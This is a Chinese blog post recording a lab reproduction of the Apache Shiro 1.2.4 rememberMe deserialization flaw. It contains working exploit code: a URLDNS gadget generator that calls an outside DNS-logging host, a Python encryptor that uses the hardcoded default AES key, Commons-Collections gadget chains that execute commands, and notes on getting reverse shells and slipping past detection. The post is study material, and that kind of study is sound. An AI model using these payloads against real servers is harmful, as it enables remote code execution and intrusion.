Shiro反序列化

Shiro反序列化

由于对idea的几个配置操作不太熟悉在搭环境时吃了不少苦

环境搭建

首先在github下载shiro1.2.4的包,在idea中打开,配置tomcat服务器,大致流程按照这个博主的

https://www.cnblogs.com/h0cksr/p/16189761.html

此外补充几个点

  • 原博主也记录了jdk1.8会更好,我一开始用的jdk18没能成功,但也是因为其他几个原因

  • tomcat10由于某些组件版本更新会报错,改用tomcat9

  • 这点就比较蠢了。。要添加jstl版本的是sample.web目录下的pom.xml而不是其他位置的

    1680706070974

  • 如果按原博主docker起环境抓包看不见cookie,也不知道为什么

原理

shiro登陆时提供rememberme的功能,以cookie的方式实现

1680706443017

跟进idea里的源码可发现shiro内生成cookie的方式是将认证信息序列化,然后AES加密,最后base64编码。一路找下去可以找到AES的默认密钥。此外还可以得知加密方式是CBC,而且初始向量也是可以人为控制的

1680706939367

反向也是一样的,这样就可以通过常见的反序列化链来打,如cc之类的(但shiro其实并没有引入cc,不能直接用)

利用

URLDNS

java生成urldns

public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
        HashMap<URL, Integer> hashmap = new HashMap<>();
        URL url=new URL("http://g7o3g5tpn1wwzwxagizfol6pyg46sv.burpcollaborator.net");

        Class c =url.getClass();
        Field hashCodeField = c.getDeclaredField("hashCode");
        hashCodeField.setAccessible(true);
        hashCodeField.set(url,1234);
        hashmap.put(url,1);

        hashCodeField.set(url,-1);
        serialize(hashmap);

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("urldns.bin"));
        oos.writeObject(obj);

    }

python实现AES加密

from Crypto.Cipher import AES
import base64,uuid

key = 'kPH+bIxk5D2deZiIxcaaaA=='

def getFile(filename):
    with open(filename,'rb') as f:
        data = f.read()
    return data

def encode(target):
    iv   =  uuid.uuid4().bytes  #用好看的方式随机生成16字节
    # iv = bytes('1111111111111111',encoding='utf-8')
    realkey = base64.b64decode(key)  #解密key
    mode = AES.MODE_CBC
    pad = lambda s: s + ((16 - len(s) % 16) * chr(16 - len(s) % 16)).encode() #CBC模式要求明文长度要是16的倍数,位数不足16位的添加字节补充
    resultAES = AES.new(realkey,mode,iv)
    nice = resultAES.encrypt(pad(target))
    nice = iv + nice
    nice = base64.b64encode(nice)

    print("加密目标:\n" + str(target) + "\n\n加密结果:\n" + nice.decode("utf-8") + "\n")


encode(getFile("urldns.bin"))

修改rememberme的值,注意要先删除JSESSIONID,不然shiro会优先读取JSESSIONID判断是否是用户

1680710140926

成功触发dns解析(我不明白为什么是4个)

1680710218036

CC6

shiro本体并不会引入cc,测试时需要自己引入依赖

public class CC6test {
    public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        //目标是触发LazyMap的get()
        HashMap<Object, Object> map =new HashMap();
        Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));//随便放个没用的transformer进去


        //TiedMapEntry的hashCode()方法会简间接调用get()
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");

        //HashMap的readObject()方法会调用hash(),进而调用hashCode()
        HashMap<Object, Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry, "bbb");//但为了赋值我们还需要put一下,而HashMap的put方法会间接触发tiedMapEntry的hashCode(),然后触发整条连
        lazyMap.remove("aaa");//整条链中包括LazyMap的get()方法,为了消除正向序列化时的影响这里remove("aaa")
        //lazyMap.clear();

        //等到put完了再通过反射修改
        Class c = LazyMap.class;
        Field factoryField = c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap, chainedTransformer);

//        serialize(map2);
        unserialize("ser.bin");

    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);

    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois =new ObjectInputStream(new FileInputStream(Filename));
        Object obj =ois.readObject();
        return obj;

    }
}

直接用原来的cc6是打不通的,因为再shiro中并没有直接调用原生的readObject,而是调用的ClassResolvingObjectInputStream类中的方法

1680775009686

在这个类中重写了resolveClass方法,resolveClass是反序列化时一定会调用的方法,导致在调用同名方法时对传入的对象进行了一些特别处理,而ClassUtils无法加载数组类,导致cc6中的Transformer数组不能正常解析

1680775190242

1680775164234

改进后没有数组的cc链

public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        //CC3
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        Field nameField = tc.getDeclaredField("_name");//name为空会在getTransletInstance返回null
        nameField.setAccessible(true);
        nameField.set(templates,"aaa");
        Field bytecodesField = tc.getDeclaredField("_bytecodes");//bytecodes为空会在defineTransletClasses抛出异常
        bytecodesField.setAccessible(true);

        byte[] code = Files.readAllBytes(Paths.get("Test01.class"));
        byte[][] codes ={code};
        bytecodesField.set(templates,codes);

        //CC2
        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);

        //CC6
        //目标是触发LazyMap的get()
        HashMap<Object, Object> map =new HashMap();
        Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));//随便放个没用的transformer进去


        //TiedMapEntry的hashCode()方法会简间接调用get()
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);

        //HashMap的readObject()方法会调用hash(),进而调用hashCode()
        HashMap<Object, Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry, "bbb");//但为了赋值我们还需要put一下,而HashMap的put方法会间接触发tiedMapEntry的hashCode(),然后触发整条连
        lazyMap.remove(templates);//整条链中包括LazyMap的get()方法,为了消除正向序列化时的影响这里remove("aaa")
        //lazyMap.clear();

        //等到put完了再通过反射修改
        Class c = LazyMap.class;
        Field factoryField = c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap, invokerTransformer);

//        serialize(map2);
        unserialize("ser.bin");

    }

理论上而言将得到的加密的cookie传入就可以弹出计算器,但不知为何我这里没有反应。此外还有一些更深入的利用点,以后再找时间补充

讨论

shiro反序列化漏洞由于会对序列化的对象先AES加密再base64,所以可以躲过部分依靠针对base64后的输入的特征检测(反序列化对象似乎有特征头)

毫无实践经验的感觉shiro在渗透时用的还是挺广的,化身脚本小子试了几个shiro利用工具感觉还是shiro-1.2.4-rce最好用,靶场起的开头的docker

1687242852514

1687242483597

1687242460689

作者的描述其实很少,翻了下python脚本跟上面的流程一样,从yeso里得到payload编码base64放进remmenberMe的cookie里然后request.get(所以为什么自己试的时候没成,估计还是环境没配好,用这个脚本也没扫出来)。后面也没什么好说的,因为单纯的shiro反序列化没回显所以要弹shell,输入的命令都是base64编码的,执行时再解码绕过点检测。基于延时应该是靠盲打cc链之类的命令执行实现的,所以泛用性也有一定限制

shiro <= 1.2.4 反序列化远程命令执行利用脚本 使用延时判断key和gadget,即使目标不出网也可以检测是否存在漏洞 python脚本需要调用ysoserial-sleep.jar,ysoserial-sleep.jar文件并不是原版的,增加了延时命令功能,故不要使用原版ysoserial,否则将无法检测

关于shiro检测这里还给出了一种方法,基于这个方法的burp插件

参考

https://www.cnblogs.com/h0cksr/p/16189761.html

BV1iF411b7bD

posted @   卡拉梅尔  阅读(391)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 在鹅厂做java开发是什么体验
· 百万级群聊的设计实践
· WPF到Web的无缝过渡:英雄联盟客户端的OpenSilver迁移实战
· 永远不要相信用户的输入:从 SQL 注入攻防看输入验证的重要性
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
点击右上角即可分享
微信分享提示